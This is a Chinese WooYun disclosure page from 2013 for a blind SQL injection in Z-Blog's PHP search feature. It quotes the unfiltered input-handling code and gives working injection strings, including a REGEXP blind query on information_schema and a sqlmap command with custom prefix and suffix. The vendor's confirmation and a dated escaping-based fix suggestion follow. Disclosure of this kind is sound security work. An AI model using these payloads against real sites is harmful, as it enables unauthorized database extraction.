当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(12) 关注此漏洞

缺陷编号: WooYun-2013-37956

漏洞标题: Z-Blog的php版前台正则SQL盲注漏洞

相关厂商: Z-Blog

漏洞作者: 只发通用型

提交时间: 2013-09-24 12:02

公开时间: 2013-12-23 12:03

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

8人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-24: 细节已通知厂商并且等待厂商处理中
2013-09-24: 厂商已经确认,细节仅向厂商公开
2013-09-27: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-11-18: 细节向核心白帽子及相关领域专家公开
2013-11-28: 细节向普通白帽子公开
2013-12-08: 细节向实习白帽子公开
2013-12-23: 细节向公众公开

简要描述:

第二发...另外有点疑惑想问下你们的开发

详细说明:

问题出在

/zb_system/function/c_system_common.php

code 区域
function GetVars($name,$type='REQUEST'){
if ($type=='ENV') {$array=&$_ENV;}
if ($type=='GET') {$array=&$_GET;}
if ($type=='POST') {$array=&$_POST;}
if ($type=='COOKIE') {$array=&$_COOKIE;}
if ($type=='REQUEST') {$array=&$_REQUEST;}
if ($type=='SERVER') {$array=&$_SERVER;}
if ($type=='SESSION') {$array=&$_SESSION;}
if ($type=='FILES') {$array=&$_FILES;}

if(isset($array[$name])){
var_dump($array[$name]);
return $array[$name];
}else{
return null;
}
}





GET过来的数据木有经过过滤就进入dbsql.php里面查询

在前台的搜索框里输入注入语句,h为可搜索到的字符

h%') and 1)#

1.jpg





and 1可以替换成SQL注入,这里使用正则盲注

h%')and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="zblog" AND table_name REGEXP '^[a-z]' LIMIT 0,1))#



2.jpg



一个个字符把数据读出来..

手注太蛋疼 使用sqlmap

code 区域
python sqlmap.py -u 网站地址/search.php?q=能成功搜索到的字符 -p 能成功搜索到的字符 --prefix "%')" --suffix ")#"



4.jpg



3.jpg





我想弱弱问一句 为啥要把\'转换回来.求注入的节奏?

zblog/zb_system/function/c_system_base.php

code 区域
function _stripslashes(&$val) {
if(!is_array($val)) return stripslashes($val);
foreach($val as $k => &$v) $val[$k] = _stripslashes($v);
return $val;
}

if(get_magic_quotes_gpc()){
_stripslashes($_GET);
_stripslashes($_POST);
_stripslashes($_COOKIE);
}



漏洞证明:

4.jpg



3.jpg

修复方案:

使用mysql_real_escape_string()或addslashes()对传入参数进行过滤,或者使用str_replace()对一些关键词进行替换。

版权声明:转载请注明来源 只发通用型@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-09-24 13:41

厂商回复:

非常感谢。把\'转换回来是因为dbsql有addslashes()处理,可能dbsql没处理好。

最新状态:

2013-09-24:找到原因了,dbsql第197行是多余的,所以引起了所有的BUG;


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-09-24 12:06 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)
    2

    忘记写这是PHP版了

  2. 2013-09-27 15:26 | 低调 ( 实习白帽子 | Rank:42 漏洞数:18 | .......)
    1

    楼主 别带着一个羊薅羊毛呀!!!!!

  3. 2013-09-28 02:21 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)
    0

    @只发通用型 洞主这是谁的小号?

登录后才能发表评论,请先 登录